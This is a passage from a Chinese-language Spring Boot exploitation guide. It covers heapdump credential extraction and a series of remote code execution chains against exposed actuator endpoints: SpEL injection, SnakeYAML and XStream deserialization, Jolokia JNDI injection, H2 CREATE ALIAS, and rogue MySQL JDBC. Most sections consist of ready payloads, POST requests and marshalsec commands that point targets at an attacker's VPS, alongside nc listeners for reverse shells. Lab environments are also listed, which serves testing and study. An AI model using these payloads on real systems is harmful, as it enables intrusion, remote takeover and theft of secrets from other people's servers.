 642 | > 访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果
 643 | 
 644 | #### 利用条件:
 645 | 
 646 | - 可正常 GET 请求目标 `/heapdump` 或 `/actuator/heapdump` 接口
 647 | 
 648 | 
 649 | 
 650 | #### 利用方法:
 651 | 
 652 | ##### 步骤一: 找到想要获取的属性名
 653 | 
 654 | GET 请求目标网站的 `/env` 或 `/actuator/env` 接口,搜索 `******` 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
 655 | 
 656 | 
 657 | 
 658 | ##### 步骤二: 下载 jvm heap 信息
 659 | 
 660 | > 下载的 heapdump 文件大小通常在 50M—500M 之间,有时候也可能会大于 2G
 661 | 
 662 | `GET` 请求目标的 `/heapdump` 或 `/actuator/heapdump` 接口,下载应用实时的 JVM 堆信息
 663 | 
 664 | 
 665 | 
 666 | ##### 步骤三: 使用 MAT 获得 jvm heap 中的密码明文
 667 | 
 668 | 参考 [文章](https://landgrey.me/blog/16/) 方法,使用 [Eclipse Memory Analyzer](https://www.eclipse.org/mat/downloads.php) 工具的 **OQL** 语句 
 669 | 
 670 | ```
 671 | select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
 672 | 
 673 | 或
 674 | 
 675 | select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
 676 | ```
 677 | 
 678 | 辅助用 "**password**" 等关键词快速过滤分析,获得密码等相关敏感信息的明文。
 679 | 
 680 | 
 681 | 
 682 | ## 二:远程代码执行
 683 | 
 684 | > 由于 spring boot 相关漏洞可能是多个组件漏洞组合导致的,所以有些漏洞名字起的不太正规,以能区分为准
 685 | 
 686 | 
 687 | 
 688 | ### 0x01:whitelabel error page SpEL RCE
 689 | 
 690 | #### 利用条件:
 691 | 
 692 | - spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
 693 | - 至少知道一个触发 springboot 默认错误页面的接口及参数名
 694 | 
 695 | 
 696 | 
 697 | #### 利用方法:
 698 | 
 699 | ##### 步骤一:找到一个正常传参处
 700 | 
 701 | 比如发现访问  `/article?id=xxx` ,页面会报状态码为 500 的错误: `Whitelabel Error Page`,则后续 payload 都将会在参数 id 处尝试。
 702 | 
 703 | 
 704 | 
 705 | ##### 步骤二:执行 SpEL 表达式
 706 | 
 707 | 输入 `/article?id=${7*7}` ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。
 708 | 
 709 | 由字符串格式转换成 `0x**` java 字节形式,方便执行任意代码:
 710 | 
 711 | ```python
 712 | # coding: utf-8
 713 | 
 714 | result = ""
 715 | target = 'open -a Calculator'
 716 | for x in target:
 717 |     result += hex(ord(x)) + ","
 718 | print(result.rstrip(','))
 719 | ```
 720 | 
 721 | 执行 `open -a Calculator` 命令
 722 | 
 723 | ```java
 724 | ${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
 725 | ```
 726 | 
 727 | 
 728 | 
 729 | #### 漏洞原理:
 730 | 
 731 | 1. spring boot 处理参数值出错,流程进入 `org.springframework.util.PropertyPlaceholderHelper` 类中
 732 | 2. 此时 URL 中的参数值会用 `parseStringValue` 方法进行递归解析
 733 | 3. 其中  `${}`  包围的内容都会被 `org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration` 类的 `resolvePlaceholder` 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞
 734 | 
 735 | 
 736 | 
 737 | #### 漏洞分析:
 738 | 
 739 | ​	[SpringBoot SpEL表达式注入漏洞-分析与复现](https://www.cnblogs.com/litlife/p/10183137.html)
 740 | 
 741 | 
 742 | 
 743 | #### 漏洞环境:
 744 | 
 745 | [repository/springboot-spel-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce)
 746 | 
 747 | 正常访问:
 748 | 
 749 | ```
 750 | http://127.0.0.1:9091/article?id=66
 751 | ```
 752 | 
 753 | 执行 `open -a Calculator` 命令:
 754 | 
 755 | ```java
 756 | http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
 757 | ```
 758 | 
 759 |  
 760 | 
 761 | ### 0x02:spring cloud SnakeYAML RCE
 762 | 
 763 | #### 利用条件:
 764 | 
 765 | - 可以 POST 请求目标网站的 `/env` 接口设置属性
 766 | - 可以 POST 请求目标网站的 `/refresh` 接口刷新配置(存在 `spring-boot-starter-actuator` 依赖)
 767 | - 目标依赖的 `spring-cloud-starter` 版本 < 1.3.0.RELEASE
 768 | - 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
 769 | 
 770 | 
 771 | 
 772 | #### 利用方法:
 773 | 
 774 | ##### 步骤一: 托管 yml 和 jar 文件
 775 | 
 776 | 在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
 777 | 
 778 | ```bash
 779 | # 使用 python 快速开启 http server
 780 | 
 781 | python2 -m SimpleHTTPServer 80
 782 | python3 -m http.server 80
 783 | ```
 784 | 
 785 | 
 786 | 
 787 | 在网站根目录下放置后缀为 `yml` 的文件  `example.yml`,内容如下:
 788 | 
 789 | ```yaml
 790 | !!javax.script.ScriptEngineManager [
 791 |   !!java.net.URLClassLoader [[
 792 |     !!java.net.URL ["http://your-vps-ip/example.jar"]
 793 |   ]]
 794 | ]
 795 | ```
 796 | 
 797 | 
 798 | 
 799 | 在网站根目录下放置后缀为 `jar` 的文件  `example.jar`,内容是要执行的代码,代码编写及编译方式参考 [yaml-payload](https://github.com/artsploit/yaml-payload)。
 800 | 
 801 | 
 802 | 
 803 | ##### 步骤二: 设置 spring.cloud.bootstrap.location 属性
 804 | 
 805 | spring 1.x
 806 | 
 807 | ```
 808 | POST /env
 809 | Content-Type: application/x-www-form-urlencoded
 810 | 
 811 | spring.cloud.bootstrap.location=http://your-vps-ip/example.yml
 812 | ```
 813 | 
 814 | spring 2.x
 815 | 
 816 | ```
 817 | POST /actuator/env
 818 | Content-Type: application/json
 819 | 
 820 | {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
 821 | ```
 822 | 
 823 | 
 824 | 
 825 | ##### 步骤三: 刷新配置
 826 | 
 827 | spring 1.x
 828 | 
 829 | ```
 830 | POST /refresh
 831 | Content-Type: application/x-www-form-urlencoded
 832 | 
 833 | ```
 834 | 
 835 | spring 2.x
 836 | 
 837 | ```
 838 | POST /actuator/refresh
 839 | Content-Type: application/json
 840 | 
 841 | ```
 842 | 
 843 | 
 844 | 
 845 | #### 漏洞原理:
 846 | 
 847 | 1. spring.cloud.bootstrap.location 属性被设置为外部恶意 yml 文件 URL 地址
 848 | 2. refresh 触发目标机器请求远程 HTTP 服务器上的 yml 文件,获得其内容
 849 | 3. SnakeYAML 由于存在反序列化漏洞,所以解析恶意 yml 内容时会完成指定的动作
 850 | 4. 先是触发 java.net.URL 去拉取远程 HTTP 服务器上的恶意 jar 文件
 851 | 5. 然后是寻找 jar 文件中实现 javax.script.ScriptEngineFactory 接口的类并实例化
 852 | 6. 实例化类时执行恶意代码,造成 RCE 漏洞
 853 | 
 854 | 
 855 | 
 856 | #### 漏洞分析:
 857 | 
 858 | ​	[Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记](https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note/)
 859 | 
 860 | 
 861 | 
 862 | #### 漏洞环境:
 863 | 
 864 | [repository/springcloud-snakeyaml-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springcloud-snakeyaml-rce)
 865 | 
 866 | 正常访问:
 867 | 
 868 | ```
 869 | http://127.0.0.1:9092/env
 870 | ```
 871 | 
 872 | 
 873 | 
 874 | ### 0x03:eureka xstream deserialization RCE
 875 | 
 876 | #### 利用条件:
 877 | 
 878 | - 可以 POST 请求目标网站的 `/env` 接口设置属性
 879 | - 可以 POST 请求目标网站的 `/refresh` 接口刷新配置(存在 `spring-boot-starter-actuator` 依赖)
 880 | - 目标使用的  `eureka-client` < 1.8.7(通常包含在 `spring-cloud-starter-netflix-eureka-client` 依赖中)
 881 | - 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
 882 | 
 883 | 
 884 | 
 885 | #### 利用方法:
 886 | 
 887 | ##### 步骤一:架设响应恶意 XStream payload 的网站
 888 | 
 889 | 提供一个依赖 Flask 并符合要求的 [python 脚本示例](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py),作用是利用目标 Linux 机器上自带的 python 来反弹shell。
 890 | 
 891 | 使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。
 892 | 
 893 | 
 894 | 
 895 | ##### 步骤二:监听反弹 shell 的端口
 896 | 
 897 | 一般使用 nc 监听端口,等待反弹 shell
 898 | 
 899 | ```bash
 900 | nc -lvp 443
 901 | ```
 902 | 
 903 | 
 904 | 
 905 | ##### 步骤三:设置 eureka.client.serviceUrl.defaultZone 属性
 906 | 
 907 | spring 1.x
 908 | 
 909 | ```
 910 | POST /env
 911 | Content-Type: application/x-www-form-urlencoded
 912 | 
 913 | eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
 914 | ```
 915 | 
 916 | spring 2.x
 917 | 
 918 | ```
 919 | POST /actuator/env
 920 | Content-Type: application/json
 921 | 
 922 | {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
 923 | ```
 924 | 
 925 | 
 926 | 
 927 | ##### 步骤四:刷新配置
 928 | 
 929 | spring 1.x
 930 | 
 931 | ```
 932 | POST /refresh
 933 | Content-Type: application/x-www-form-urlencoded
 934 | 
 935 | ```
 936 | 
 937 | spring 2.x
 938 | 
 939 | ```
 940 | POST /actuator/refresh
 941 | Content-Type: application/json
 942 | 
 943 | ```
 944 | 
 945 | 
 946 | 
 947 | #### 漏洞原理:
 948 | 
 949 | 1. eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址
 950 | 2. refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload
 951 | 3. 目标机器相关依赖解析 payload,触发 XStream 反序列化,造成 RCE 漏洞
 952 | 
 953 | 
 954 | 
 955 | #### 漏洞分析:
 956 | 
 957 | ​	[Spring Boot Actuator从未授权访问到getshell](https://www.freebuf.com/column/234719.html)
 958 | 
 959 | 
 960 | 
 961 | #### 漏洞环境:
 962 | 
 963 | [repository/springboot-eureka-xstream-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-eureka-xstream-rce)
 964 | 
 965 | 正常访问:
 966 | 
 967 | ```
 968 | http://127.0.0.1:9093/env
 969 | ```
 970 | 
 971 | 
 972 | 
 973 | ### 0x04:jolokia logback JNDI RCE
 974 | 
 975 | #### 利用条件:
 976 | 
 977 | - 目标网站存在 `/jolokia` 或 `/actuator/jolokia` 接口
 978 | - 目标使用了 `jolokia-core` 依赖(版本要求暂未知)并且环境中存在相关 MBean
 979 | - 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
 980 | 
 981 | - 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过
 982 | 
 983 | 
 984 | 
 985 | #### 利用方法:
 986 | 
 987 | ##### 步骤一:查看已存在的 MBeans
 988 | 
 989 | 访问 `/jolokia/list` 接口,查看是否存在 `ch.qos.logback.classic.jmx.JMXConfigurator` 和 `reloadByURL` 关键词。
 990 | 
 991 | 
 992 | 
 993 | ##### 步骤二:托管 xml 文件
 994 | 
 995 | 在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
 996 | 
 997 | ```bash
 998 | # 使用 python 快速开启 http server
 999 | 
1000 | python2 -m SimpleHTTPServer 80
1001 | python3 -m http.server 80
1002 | ```
1003 | 
1004 | 
1005 | 
1006 | 在根目录放置以 `xml` 结尾的 `example.xml`  文件,内容如下:
1007 | 
1008 | ```xml
1009 | <configuration>
1010 |   <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" />
1011 | </configuration>
1012 | ```
1013 | 
1014 | 
1015 | 
1016 | ##### 步骤三:准备要执行的 Java 代码
1017 | 
1018 | 编写优化过后的用来反弹 shell 的 [Java 示例代码](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java)  `JNDIObject.java`,
1019 | 
1020 | 使用兼容低版本 jdk 的方式编译:
1021 | 
1022 | ```bash
1023 | javac -source 1.5 -target 1.5 JNDIObject.java
1024 | ```
1025 | 
1026 | 然后将生成的 `JNDIObject.class` 文件拷贝到 **步骤二** 中的网站根目录。
1027 | 
1028 | 
1029 | 
1030 | ##### 步骤四:架设恶意 ldap 服务
1031 | 
1032 | 下载 [marshalsec](https://github.com/mbechler/marshalsec) ,使用下面命令架设对应的 ldap 服务:
1033 | 
1034 | ```bash
1035 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
1036 | ```
1037 | 
1038 | 
1039 | 
1040 | ##### 步骤五:监听反弹 shell 的端口
1041 | 
1042 | 一般使用 nc 监听端口,等待反弹 shell
1043 | 
1044 | ```bash
1045 | nc -lv 443
1046 | ```
1047 | 
1048 | 
1049 | 
1050 | ##### 步骤六:从外部 URL 地址加载日志配置文件
1051 | 
1052 | > ⚠️ 如果目标成功请求了example.xml 并且 marshalsec 也接收到了目标请求,但是目标没有请求 JNDIObject.class,大概率是因为目标环境的 jdk 版本太高,导致 JNDI 利用失败。
1053 | 
1054 | 替换实际的 your-vps-ip 地址访问 URL 触发漏洞:
1055 | 
1056 | ```
1057 | /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml
1058 | ```
1059 | 
1060 | 
1061 | 
1062 | #### 漏洞原理:
1063 | 
1064 | 1. 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用 `ch.qos.logback.classic.jmx.JMXConfigurator` 类的 `reloadByURL` 方法
1065 | 2. 目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容
1066 | 3. 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
1067 | 4. xml 文件中利用 `logback` 依赖的 `insertFormJNDI` 标签,设置了外部 JNDI 服务器地址
1068 | 5. 目标机器请求恶意  JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞
1069 | 
1070 | 
1071 | 
1072 | #### 漏洞分析:
1073 | 
1074 | ​	[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
1075 | 
1076 | 
1077 | 
1078 | #### 漏洞环境:
1079 | 
1080 | [repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
1081 | 
1082 | 正常访问:
1083 | 
1084 | ```
1085 | http://127.0.0.1:9094/env
1086 | ```
1087 | 
1088 | 
1089 | 
1090 | ### 0x05:jolokia Realm JNDI RCE
1091 | 
1092 | #### 利用条件:
1093 | 
1094 | - 目标网站存在 `/jolokia` 或 `/actuator/jolokia` 接口
1095 | - 目标使用了 `jolokia-core` 依赖(版本要求暂未知)并且环境中存在相关 MBean
1096 | - 目标可以请求攻击者的服务器(请求可出外网)
1097 | - 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121(RMI),但相关环境可绕过
1098 | 
1099 | 
1100 | 
1101 | #### 利用方法:
1102 | 
1103 | ##### 步骤一:查看已存在的 MBeans
1104 | 
1105 | 访问 `/jolokia/list` 接口,查看是否存在 `type=MBeanFactory` 和 `createJNDIRealm` 关键词。
1106 | 
1107 | 
1108 | 
1109 | ##### 步骤二:准备要执行的 Java 代码
1110 | 
1111 | 编写优化过后的用来反弹 shell 的 [Java 示例代码](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java)  `JNDIObject.java`。
1112 | 
1113 | 
1114 | 
1115 | ##### 步骤三:托管 class 文件
1116 | 
1117 | 在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
1118 | 
1119 | ```bash
1120 | # 使用 python 快速开启 http server
1121 | 
1122 | python2 -m SimpleHTTPServer 80
1123 | python3 -m http.server 80
1124 | ```
1125 | 
1126 | 将**步骤二**中编译好的 class 文件拷贝到 HTTP 服务器根目录。
1127 | 
1128 | 
1129 | 
1130 | ##### 步骤四:架设恶意 rmi 服务
1131 | 
1132 | 下载 [marshalsec](https://github.com/mbechler/marshalsec) ,使用下面命令架设对应的 rmi 服务:
1133 | 
1134 | ```bash
1135 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
1136 | ```
1137 | 
1138 | 
1139 | 
1140 | ##### 步骤五:监听反弹 shell 的端口
1141 | 
1142 | 一般使用 nc 监听端口,等待反弹 shell
1143 | 
1144 | ```bash
1145 | nc -lvp 443
1146 | ```
1147 | 
1148 | 
1149 | 
1150 | ##### 步骤六:发送恶意 payload
1151 | 
1152 | 根据实际情况修改 [springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py) 脚本中的目标地址,RMI 地址、端口等信息,然后在自己控制的服务器上运行。
1153 | 
1154 | 
1155 | 
1156 | #### 漏洞原理:
1157 | 
1158 | 1. 利用 jolokia 调用 createJNDIRealm 创建 JNDIRealm
1159 | 2. 设置 connectionURL 地址为 RMI Service URL
1160 | 3. 设置 contextFactory 为 RegistryContextFactory
1161 | 4. 停止 Realm
1162 | 5. 启动 Realm 以触发指定 RMI 地址的  JNDI 注入,造成 RCE 漏洞
1163 | 
1164 | 
1165 | 
1166 | #### 漏洞分析:
1167 | 
1168 | ​	[Yet Another Way to Exploit Spring Boot Actuators via Jolokia](https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html)
1169 | 
1170 | 
1171 | 
1172 | #### 漏洞环境:
1173 | 
1174 | [repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
1175 | 
1176 | 正常访问:
1177 | 
1178 | ```
1179 | http://127.0.0.1:9094/env
1180 | ```
1181 | 
1182 | 
1183 | 
1184 | ### 0x06:restart h2 database query RCE
1185 | 
1186 | #### 利用条件:
1187 | 
1188 | - 可以 POST 请求目标网站的 `/env` 接口设置属性
1189 | - 可以 POST 请求目标网站的 `/restart` 接口重启应用
1190 | - 存在 `com.h2database.h2` 依赖(版本要求暂未知)
1191 | 
1192 | 
1193 | 
1194 | #### 利用方法:
1195 | 
1196 | ##### 步骤一:设置 spring.datasource.hikari.connection-test-query 属性
1197 | 
1198 | > ⚠️ 下面payload 中的 'T5' 方法每一次执行命令后都需要更换名称 (如 T6) ,然后才能被重新创建使用,否则下次 restart 重启应用时漏洞不会被触发
1199 | 
1200 | 
1201 | 
1202 | spring 1.x(无回显执行命令)
1203 | 
1204 | ```
1205 | POST /env
1206 | Content-Type: application/x-www-form-urlencoded
1207 | 
1208 | spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');
1209 | ```
1210 | 
1211 | spring 2.x(无回显执行命令)
1212 | 
1213 | ```
1214 | POST /actuator/env
1215 | Content-Type: application/json
1216 | 
1217 | {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}
1218 | ```
1219 | 
1220 | 
1221 | 
1222 | ##### 步骤二:重启应用
1223 | 
1224 | spring 1.x
1225 | 
1226 | ```
1227 | POST /restart
1228 | Content-Type: application/x-www-form-urlencoded
1229 | 
1230 | ```
1231 | 
1232 | spring 2.x
1233 | 
1234 | ```
1235 | POST /actuator/restart
1236 | Content-Type: application/json
1237 | 
1238 | ```
1239 | 
1240 | 
1241 | 
1242 | #### 漏洞原理:
1243 | 
1244 | 1. spring.datasource.hikari.connection-test-query 属性被设置为一条恶意的 `CREATE ALIAS` 创建自定义函数的 SQL 语句
1245 | 2. 其属性对应 HikariCP 数据库连接池的 connectionTestQuery 配置,定义一个新数据库连接之前被执行的 SQL 语句
1246 | 3. restart 重启应用,会建立新的数据库连接
1247 | 4. 如果 SQL 语句中的自定义函数还没有被执行过,那么自定义函数就会被执行,造成 RCE 漏洞
1248 | 
1249 | 
1250 | 
1251 | #### 漏洞分析:
1252 | 
1253 | ​	[remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)
1254 | 
1255 | 
1256 | 
1257 | #### 漏洞环境:
1258 | 
1259 | [repository/springboot-h2-database-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-h2-database-rce)
1260 | 
1261 | 正常访问:
1262 | 
1263 | ```
1264 | http://127.0.0.1:9096/actuator/env
1265 | ```
1266 | 
1267 | 
1268 | 
1269 | ### 0x07:h2 database console JNDI RCE
1270 | 
1271 | #### 利用条件:
1272 | 
1273 | - 存在 `com.h2database.h2` 依赖(版本要求暂未知)
1274 | - spring 配置中启用 h2 console  `spring.h2.console.enabled=true`
1275 | - 目标可以请求攻击者的服务器(请求可出外网)
1276 | - JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP 方式)
1277 | 
1278 | 
1279 | 
1280 | #### 利用方法:
1281 | 
1282 | ##### 步骤一:访问路由获得 jsessionid
1283 | 
1284 | 直接访问目标开启 h2 console 的默认路由 `/h2-console`,目标会跳转到页面 `/h2-console/login.jsp?jsessionid=xxxxxx`,记录下实际的 `jsessionid=xxxxxx` 值。
1285 | 
1286 | 
1287 | 
1288 | ##### 步骤二:准备要执行的 Java 代码
1289 | 
1290 | 编写优化过后的用来反弹 shell 的 [Java 示例代码](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java)  `JNDIObject.java`,
1291 | 
1292 | 使用兼容低版本 jdk 的方式编译:
1293 | 
1294 | ```bash
1295 | javac -source 1.5 -target 1.5 JNDIObject.java
1296 | ```
1297 | 
1298 | 然后将生成的 `JNDIObject.class` 文件拷贝到 **步骤二** 中的网站根目录。
1299 | 
1300 | 
1301 | 
1302 | ##### 步骤三:托管 class 文件
1303 | 
1304 | 在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
1305 | 
1306 | ```bash
1307 | # 使用 python 快速开启 http server
1308 | 
1309 | python2 -m SimpleHTTPServer 80
1310 | python3 -m http.server 80
1311 | ```
1312 | 
1313 | 将**步骤二**中编译好的 class 文件拷贝到 HTTP 服务器根目录。
1314 | 
1315 | 
1316 | 
1317 | ##### 步骤四:架设恶意 ldap 服务
1318 | 
1319 | 下载 [marshalsec](https://github.com/mbechler/marshalsec) ,使用下面命令架设对应的 ldap 服务:
1320 | 
1321 | ```bash
1322 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
1323 | ```
1324 | 
1325 | 
1326 | 
1327 | ##### 步骤五:监听反弹 shell 的端口
1328 | 
1329 | 一般使用 nc 监听端口,等待反弹 shell
1330 | 
1331 | ```bash
1332 | nc -lv 443
1333 | ```
1334 | 
1335 | 
1336 | 
1337 | ##### 步骤六:发包触发 JNDI 注入
1338 | 
1339 | 根据实际情况,替换下面数据中的 `jsessionid=xxxxxx`、`www.example.com` 和 `ldap://your-vps-ip:1389/JNDIObject`
1340 | 
1341 | ```bash
1342 | POST /h2-console/login.do?jsessionid=xxxxxx
1343 | Host: www.example.com
1344 | Content-Type: application/x-www-form-urlencoded
1345 | Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx
1346 | 
1347 | language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=
1348 | ```
1349 | 
1350 | 
1351 | 
1352 | #### 漏洞分析:
1353 | 
1354 | ​	[Spring Boot + H2数据库JNDI注入](https://mp.weixin.qq.com/s/Yn5U8WHGJZbTJsxwUU3UiQ)
1355 | 
1356 | 
1357 | 
1358 | #### 漏洞环境:
1359 | 
1360 | [repository/springboot-h2-database-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-h2-database-rce)
1361 | 
1362 | 正常访问:
1363 | 
1364 | ```
1365 | http://127.0.0.1:9096/h2-console
1366 | ```
1367 | 
1368 | 
1369 | 
1370 | ### 0x08:mysql jdbc deserialization RCE
1371 | 
1372 | #### 利用条件:
1373 | 
1374 | - 可以 POST 请求目标网站的 `/env` 接口设置属性
1375 | - 可以 POST 请求目标网站的 `/refresh` 接口刷新配置(存在 `spring-boot-starter-actuator` 依赖)
1376 | - 目标环境中存在 `mysql-connector-java` 依赖
1377 | - 目标可以请求攻击者的服务器(请求可出外网)
1378 | 
1379 | 
1380 | 
1381 | #### 利用方法:
1382 | 
1383 | ##### 步骤一:查看环境依赖
1384 | 
1385 | GET 请求 `/env` 或 `/actuator/env`,搜索环境变量(classpath)中是否有 `mysql-connector-java`  关键词,并记录下其版本号(5.x 或 8.x);
1386 | 
1387 | 搜索并观察环境变量中是否存在常见的反序列化 gadget 依赖,比如  `commons-collections`、`Jdk7u21`、`Jdk8u20` 等;
1388 | 
1389 | 搜索 `spring.datasource.url` 关键词,记录下其 `value`  值,方便后续恢复其正常 jdbc url 值。
1390 | 
1391 | 
1392 | 
1393 | ##### 步骤二:架设恶意 rogue mysql server
1394 | 
1395 | 在自己控制的服务器上运行 [springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py) 脚本,并使用 [ysoserial](https://github.com/frohoff/ysoserial) 自定义要执行的命令:
1396 | 
1397 | ```bash
1398 | java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
1399 | ```
1400 | 
1401 | 在脚本**同目录下**生成 `payload.ser` 反序列化 payload 文件,供脚本使用。
1402 | 
1403 | 
1404 | 
1405 | ##### 步骤三:设置 spring.datasource.url 属性
1406 | 
1407 | > ⚠️ 修改此属性会暂时导致网站所有的正常数据库服务不可用,会对业务造成影响,请谨慎操作!
1408 | 
1409 | 
1410 | 
1411 | mysql-connector-java 5.x 版本设置**属性值**为:
1412 | 
1413 | ```
1414 | jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
1415 | ```
1416 | 
1417 |  mysql-connector-java 8.x 版本设置**属性值**为:
1418 | 
1419 | ```
1420 | jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
1421 | ```
1422 | 
1423 | 
1424 | 
1425 | spring 1.x
1426 | 
1427 | ```
1428 | POST /env
1429 | Content-Type: application/x-www-form-urlencoded
1430 | 
1431 | spring.datasource.url=对应属性值
1432 | ```
1433 | 
1434 | spring 2.x
1435 | 
1436 | ```
1437 | POST /actuator/env
1438 | Content-Type: application/json
1439 | 
1440 | {"name":"spring.datasource.url","value":"对应属性值"}
1441 | ```
1442 | 
1443 | 
1444 | 
1445 | ##### 步骤四:刷新配置
1446 | 
1447 | spring 1.x
1448 | 
1449 | ```
1450 | POST /refresh
1451 | Content-Type: application/x-www-form-urlencoded
1452 | 
1453 | ```
1454 | 
1455 | spring 2.x
1456 | 
1457 | ```
1458 | POST /actuator/refresh
1459 | Content-Type: application/json
1460 | 
1461 | ```
1462 | 
1463 | 
1464 | 
1465 | ##### 步骤五:触发数据库查询
1466 | 
1467 | 尝试访问网站已知的数据库查询的接口,例如: `/product/list` ,或者寻找其他方式,主动触发源网站进行数据库查询,然后漏洞会被触发
1468 | 
1469 | 
1470 | 
1471 | ##### 步骤六:恢复正常 jdbc url
1472 | 
1473 | 反序列化漏洞利用完成后,使用 **步骤三** 的方法恢复 **步骤一** 中记录的 `spring.datasource.url` 的原始 `value` 值
1474 | 
1475 | 
1476 | 
1477 | #### 漏洞原理:
1478 | 
1479 | 1. spring.datasource.url 属性被设置为外部恶意 mysql jdbc url 地址
1480 | 2. refresh 刷新后设置了一个新的 spring.datasource.url 属性值
1481 | 3. 当网站进行数据库查询等操作时,会尝试使用恶意 mysql jdbc url 建立新的数据库连接
1482 | 4. 然后恶意 mysql server 就会在建立连接的合适阶段返回反序列化 payload 数据
1483 | 5. 目标依赖的 mysql-connector-java 就会反序列化设置好的 gadget,造成 RCE 漏洞
1484 | 
1485 | 
1486 | 
1487 | #### 漏洞分析:
1488 | 
